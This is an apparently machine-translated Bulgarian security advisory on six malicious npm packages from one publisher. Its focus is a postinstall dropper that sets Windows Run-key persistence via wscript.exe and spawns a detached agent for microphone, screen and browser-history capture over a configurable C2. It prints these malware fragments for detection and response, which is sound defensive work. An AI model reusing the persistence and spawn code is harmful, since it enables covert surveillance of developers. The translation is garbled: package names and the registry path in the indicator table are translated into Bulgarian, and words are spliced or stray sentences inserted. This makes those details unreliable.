Атака с типоскопия в DevTap npm

DevTap npm атака с типоскопиране: Шест злонамерени пакета са насочени към работните станции на разработчиците

TL; DR

Между 1 април и 3 май 2026 г., един-единствен издател на npm, user0001, регистриран с непотвърден адрес в Gmail tanvisoul9@gmail.com, тихомълком прокара шест пакета с умишлено безлични, звучащи за инфраструктура имена: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, и node-env-resolve.

Последните две версии на node-env-resolveВерсии , 1.0.7 и 1.0.8 бяха маркирани от системата за ранно предупреждение за зловреден софтуер (MEW) на Xygeni на 2 май и потвърдени като злонамерени на 3 май.

Имплантът е необичаен за това, което не е: няма Telegram ботове, няма OAST обратни извиквания, няма еквилибристикаи никакъв опит за получаване на AWS идентификационни данни по време на инсталирането. Вместо това, postinstall.js създава запис за персистентно зареждане на Windows, използвайки клавиша HKCU Run, който стартира wscript.exe срещу VBS stub. След това се създава отделен Node.js агент, който обединява модули за заснемане от микрофон, кражба на история на браузъра, правене на скрийншотове и симулация на мишка/клавиатура.

Наричаме този клъстер DevTap, след като комплектът се стартира, той продължава да работи на машината на разработчика.

И шестте пакета бяха активни в npm към момента на писане. Изпратихме ги в канала за злоупотреби на регистъра. Защитниците трябва да изтеглят всички инсталации от издателя, докато те чакат премахването им.

Клъстерът: Шест пакета, един издател

Профилът на издателя user0001 е непроверен. Няма SCM проверка, без обвързан с домейн имейл и без предишна история. Имейл адресът в Gmail tanvisoul9 не се появява в никой друг запис на издател на npm, който успяхме да намерим.

И шестте пакета изброяват един и същ поддържащ, публикувани са от един и същ акаунт и споделят едни и същи package.json шаблонен. Няма repositoryВ homepage, и не description по-дълъг от един ред.

Стратегията за именуване е интересната част. За разлика от класическата кампания за объркване на зависимости или типографски грешки, никое от тези имена не е насочено към конкретна upstream библиотека. Вместо това, те са калибрирани да изчезнат в истински... package.json or npm ls изход.

ПакетПърво публикуваноПоследна версияВерсииРоля в клъстера
централогер2026-04-01 12:46 UTC1.0.95, от 1.0.5 до 1.0.9„Помощна програма за регистриране“ на клъстера; най-ранна публикация
dom-utils-lite2026-04-14 07:36 UTC1.0.33Общо DOM-помощно покритие
node-fetch-lite2026-04-19 10:22 UTC1.0.23Имитира семейството за извличане на възли
конектор-агент2026-04-25 05:12 UTC1.0.01„Агент“ с общо наименование
node-gyp-runtime2026-04-25 05:17 UTC1.0.01Имитира инструменти за изграждане на native-module
node-env-resolve2026-04-25 05:21 UTC1.0.910, от 1.0.0 до 1.0.9Активен капкомер; пълен имплант

Имена като centralogger, node-fetch-lite, и node-gyp-runtime са проектирани да изглеждат безспорни при прегледа на кода. Звучат като неща, които вече биха били в дървото на зависимостите на даден проект.

В комбинация с нов, непроверен издател и липсващи връзки към хранилища, те образуват разпознаваем модел: участник, който въвежда имена с ниско ниво на триене в регистъра, след което бързо преминава към това, което е важно. В този случай, node-env-resolve получи десет версии за осем дни.

Какво се намира на кутията за разработчици на Windows

Злонамерената верига на node-env-resolve:1.0.8 е кратък, директен и необичайно богат на функции за npm RAT.

След инсталиране: Постоянство и отделен агент

package.json декларира единична инсталационна кука:

{ "scripts": { "postinstall": "node postinstall.js" } }

postinstall.js прави три неща подред.

Първо, той създава инсталационна директория извън npm дървото. Пътят се изчислява по време на изпълнение в скрипта като INSTALL_DIRСлед това изпълнява вътрешен execSync('npm install --production --silent ...') вътре в него, за да изтегли зависимостите на импланта по време на изпълнение. Това поставя агента на диск някъде, където е ръчно node_modules одитът няма да открие.

Второ, той записва VBS стартер и го регистрира за персистентност на зареждането:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \     /v ${AGENT_NAME} \     /t REG_SZ \     /d "wscript.exe \"${vbsPath}\"" /f

wscript.exe е Windows Script Host, подписан двоичен файл на Microsoft, който се изпълнява .vbs файлове без конзолен прозорец. Това е предварителноcisЕто защо е предпочитан за автоматично стартиращи се мъничета.

Има и съвпадение reg delete пътека вътре src/index.js, което предполага, че имплантът е проектиран да може лесно да се отстрани по команда на оператора.

Трето, той поражда отделен дъщерен процес:

spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {   detached: true,   env: { ...process.env, SERVER_URL } })

Тук са важни две подробности.

SERVER_URL се чете от средата. В резултат на това, крайната точка C2 е конфигурируема за всяко внедряване и не е вградена в пакета. Този малък, но умишлен избор обезсмисля повечето static-IOC сканирания.

Също така, породеното дете наследява пълната родителска среда. Следователно, всяко NPM_TOKEN, AWS_*, GITHUB_TOKEN, или SSH-агент сокетът, наличен в разработчикската обвивка по време на инсталирането, се премества в паметта на дългоживеещия агент.

Какво доставя агентът

Пакетът src/ дървото включва три модула, чиито имена сами по себе си разказват историята: audioCapture.js, browserHistory.js, и systemInfo.js.

Списъкът със зависимости по време на изпълнение, разрешен по време на етапното внедряване npm install, ги потвърждава.

Този подход превръща хаотичния инцидент в контролирана реакция.

Вместо да реагират сляпо, екипите действат с ясно приоритизиране и бързо отстраняване на проблеми.

ЗависимостЗа какво е в този контекст
скрийншот-десктопПериодично заснемане на екрана
@nut-tree-fork/nut-jsАвтоматизация/симулация на въвеждане с мишка и клавиатура
по-добро-sqlite3Директно четене на историята на SQLite бази данни на Chrome, Edge и Firefox
adm-zipГрупиране на събраните артефакти преди ексфилтрация
остърПреоразмеряване/компресиране на екранни снимки и артефакти в изображенията
socket.io-клиентПостоянен двупосочен C2 канал
идентификатор на машина-възелСтабилен пръстов отпечатък за всеки хост за проследяване на жертвата

systemInfo.js повиквания os.networkInterfaces() за допълнително снемане на пръстови отпечатъци преди първия маяк.

Защо аудиозаснемането е открояващият се сигнал

Повечето npm RAT-ове, които преглеждаме в MEW, спират на кражба на тайни данни по време на инсталирането. Те четат ~/.npmrc, Прочети ~/.aws/credentials, остъргване process.env, POST към уеб кукичка и изход. Това се вписва в икономически модел „смачкай и грабни“. Идентификационните данни имат кратък полуживот и атакуващият трябва бързо да ги монетизира.

node-env-resolve е различна по форма.

Постоянството е настроено да оцелее след рестартиране. Агентът работи самостоятелно и е дълготраен под wscript.exeКомплектът, който носи, е за да бъде на машината на разработчика, а не за грабване и оставяне: микрофонен рекордер, драйвер за клавиатура/мишка, пълно запаметяване на историята на браузъра, заснемане на екрана и интерактивен Socket.IO канал обратно към конфигурируем C2.

По-специално заснемането на микрофони е границата, която тази кампания преминава, а повечето злонамерени програми за npm не го правят.

Работната станция на разработчика все по-често е и работната станция, където разработчиците провеждат изказвания, разговори с клиенти, дискусии за дизайн и дежурства. Имплант, който записва микрофона, всъщност не е насочен към npm токена на разработчика. Той е насочен към това, което разработчикът казва пред лаптопа.

Този набор от възможности, плюс липсата на обфускация и липсата на показно изтичане на данни по време на инсталиране, се чете като предварително позициониране за целенасочен достъп, а не като опортюнистична кражба на идентификационни данни.

Не твърдим, че това е причината. Отбелязваме оперативния профил.

npm атака с типосквотинг - DevTab

Осемдневната итерационна честота на node-env-resolve е най-оперативно показателният детайл във времевата линия.

Това не е дроп от типа „изстреляй и забрави“. Издателят активно поддържа дроппера, което обикновено означава едно от две неща. Или го настройва спрямо тестови среди преди по-широко внедряване, или вече има телеметрични данни за инсталирането и отговаря на тях.

Останалите пет пакета на практика не отбелязаха отлив след първоначалното им публикуване. Това отговаря на модела „етап веднъж, оставете името“ за поддържащия клъстер, докато инженерните усилия се фокусират върху пакета, който върши работата.

Приписване: Малки улики, без твърда присъда

Обществен OSINT Сигналите са тънки и няма да ги разтягаме. Какво е наблюдаемо:

Дръжката на Gmail tanvisoul9 частично наподобява южноазиатско собствено име „Танви“. Това е слаб сигнал. Gmail идентификаторите не са самоличност, а последващото soul9 е общо. Не е безопасно да се прави извод за география само от локалната част на имейл.

Стилът на кода е незабележителен Node.js: standard разговори в библиотеката, като например os, child_process, spawn, и reg addНяма обфускация, няма ротация на низове и няма логика против отстраняване на грешки. Авторът е удобен с примитивите на системния регистър на Windows и оркестрацията на отделни дъщерни процеси, но изглежда не посяга към по-скрити търговски техники, които биха могли да използват.

Зависимостите са напълно стандартни и добре познати: screenshot-desktop, nut-js, better-sqlite3, и socket.io-clientНяма персонализиран протокол, няма C2 стек, създаден от нулата, и няма нов трик за персистиране отвъд учебника. Ключ за изпълнение на HKCUТова е компетентен интегратор, а не автор на инструменти.

Не открихме низове, които не са на английски език, вградени коментари, данни за локализация или отпечатъци на часови зони, изведени от компилатора, в публикуваните артефакти.

Проверихме за припокриване на кода с предишни кампании, които вече проследяваме, включително Шай Хулуд, Оуливион, Buildkite и скорошния heibai / claude-code-best Семейство клонове на Anthropic-CLI. Не открихме никакви: няма споделени C2 шаблони, няма споделени оформления на файлове и няма споделени идиоми.

Това, което не бихме казали: че това е държавен участник, известна група или географски обвързано с някоя конкретна държава.

Оперативният профил е съвместим с малък, умерено квалифициран екип, извършващ наблюдение на работните места на разработчиците. Вероятно е финансово мотивиран чрез използване на достъпа надолу по веригата, но е възможно и чрез разузнаване като услуга за отделен купувач.

Две косвени точки в подкрепа на това са: избягването на привличащи вниманието механики за ексфилтрация, които биха изгорили бързо клъстера, като например ботове в Telegram, oastify.com, или canarytokens, и умишлено безличните имена на пакети, които предпочитат тихите инсталации с дълга опашка пред кратък пик с голям обем.

Индикатори за компрометиране и разкриване

Пакети и издател
ОбластСтойност
издател на npmuser0001
Имейл на издателяtanvisoul9@gmail.com, непотвърден
Услугиcentralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve
Потвърдено злонамереноnode-env-resolve@1.0.7, node-env-resolve@1.0.8
Артефакти на хоста
ТипСтойност
Ключ за постоянствоHKCU\Софтуер\Microsoft\Windows\Текуща версия\Изпълнение
Стойност на постоянствоИме на променлива; данни от вида wscript.exe " \\ .vbs"
Инсталирайте кукатаpostinstall: възел postinstall.js в манифеста на пакета
Имплантни модулиsrc/audioCapture.js, src/browserHistory.js, src/systemInfo.js
Директория за подготовкаINSTALL_DIR е разрешен извън node_modules на проекта; местоположението е зададено от postinstall.js по време на инсталирането
мрежа
ТипСтойност
C2 транспортsocket.io-client, постоянен двупосочен канал
Крайна точка C2Предоставя се на агента чрез променливата на средата SERVER_URL; не е твърдо кодирано в публикуваните артефакти

Бележки за откриване

Две правила улавят това семейство, без да е необходима крайната точка C2.

Първо, маркирайте скриптове след инсталиране, които извършват вътрешна npm install в път извън собствената директория на пакета. Всеки легитимен инструмент за изтегляне на предварително сглобени файлове, като например node-gyp преизгражда или предварително изградени двоични файлове за изтегляне, записва вътре в пакета или в платформенитеstandard кеш пътища с проверени хешове. Не записва в новосъздаден INSTALL_DIR другаде на диска.

Второ, маркирайте скриптове след инсталиране, които издават reg add HKCU\…\Run с wscript.exe като стартера. Това по същество никога не е легитимно от npm пакет. Маркирайте го и го поставете под карантина.

Трета евристика е полезна за откриване на следващия сроден пакет, преди той да бъде потвърден: нов npm издател без SCM потвърждение, имейл в Gmail, не repository полето и множество кратки, общи, звучащи като инфраструктура имена на пакети, публикувани в рамките на няколко дни едно от друго, само по себе си е достатъчно, за да се оправдае ръчен преглед.

Докладвано е в регистъра на npm. Ще актуализираме тази публикация, когато акаунтът на издателя бъде премахнат.

инструменти за анализ на състава на софтуера SCA Tools
Приоритизирайте, отстранете и защитете софтуерните си рискове
Вземете своя безплатен акаунт.
Не е необходима кредитна карта.

Осигурете си разработка и доставка на софтуер

с продуктовия пакет Xygeni